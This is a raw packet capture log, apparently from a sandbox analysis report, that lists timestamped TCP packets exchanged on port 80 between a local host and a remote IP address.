Oct 13, 2023 16:06:20.023482084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.023561001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.023598909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024055958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024104118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024132013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024171114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024210930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024247885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024321079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024367094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024377108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024415970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024465084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024503946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024557114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024601936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024630070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024672031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024831057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024848938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.024872065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024887085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.024961948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025000095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025042057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025085926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025130987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025167942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025212049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025254011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025321960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025360107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025384903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025423050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025512934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025551081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025578022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025624037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025687933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025717974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025772095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025808096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025862932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025911093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.025945902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.025981903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026057005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026093006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026099920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026137114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026192904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026228905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026264906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026345968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026372910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026417017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026451111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026489019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026515007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026551962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026645899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026681900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026706934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026742935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026849985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026886940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.026921988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.026959896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027003050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027038097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027107000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027143002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027168989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027203083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027267933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027303934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027368069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027400970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027435064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027472973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027507067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027539015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027626991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027662039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027695894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027729988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027812958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027847052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027870893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.027905941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.027973890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028013945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028031111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028067112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028151989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028187990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028223991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028259039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028326988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028362989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028419971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028455973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028490067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028526068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028595924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028630018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028683901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028718948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028753042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028788090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028858900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028896093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.028949976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.028985977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029020071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029053926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029123068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029159069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029191971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029227018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029289961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029330015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029393911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029428959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029560089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029596090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029618979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029650927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029752970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029788971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029844999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029880047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.029908895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.029944897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030024052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030057907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030114889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030148983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030172110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030210018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030278921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030330896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030354977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030390024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030455112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030488968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030555964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030594110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030646086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030683994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030755997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030791044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030817032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030853033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.030910969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.030945063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031006098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031043053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031080008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031114101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031176090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031218052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031234026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031270027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031327963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031366110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031514883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031549931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031610966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031647921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031714916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031750917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031820059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031855106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031891108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.031934023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.031990051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032026052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032079935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032118082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032141924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032177925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032244921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032280922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032305002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032340050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032407999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032448053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032471895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032507896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032587051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032622099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032655001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032690048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032743931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032780886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032846928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032882929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.032947063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.032983065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033008099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033041000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033099890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033135891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033198118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033233881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033298969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033334970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033369064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033404112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033466101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033500910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033571959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033607006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033632994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033668995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033740997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033773899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033833027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033869028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.033925056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.033958912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034013033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034048080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034104109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034138918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034193993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034229040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034312010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034346104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034358978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034394979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034480095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034512043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034545898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034584045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034656048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034686089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034703970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034739971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034813881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034847975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034873962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.034907103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.034996033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035034895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.035068989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035104036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.035176992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035207033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.035248995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035284042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.035343885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035382032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.035437107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035471916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.035684109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035738945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.035764933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035798073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.035832882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035868883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.035924911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.035964966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.036006927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.036041975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.036113977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.036150932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.036185026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.036217928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.036268950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.036303043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.036367893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.036402941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.036465883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.036500931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.036535978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.036571026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.036636114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.036674976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.036947966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.036990881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037069082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037105083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037127972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037164927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037244081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037280083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037302971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037338972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037373066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037410021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037488937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037524939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037549019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037585020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037667990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037705898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037751913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037790060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037869930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037906885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.037941933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.037976027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038043976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038081884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038105011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038141966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038228989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038265944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038290977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038326979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038407087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038444042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038517952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038553953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038614035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038652897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038660049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038697958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038722038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038762093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038850069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038891077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.038922071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.038959026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.039026022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039069891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.039107084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039144039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.039176941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039218903 CEST	49762	80	192.168.2.4	91.215.85.17
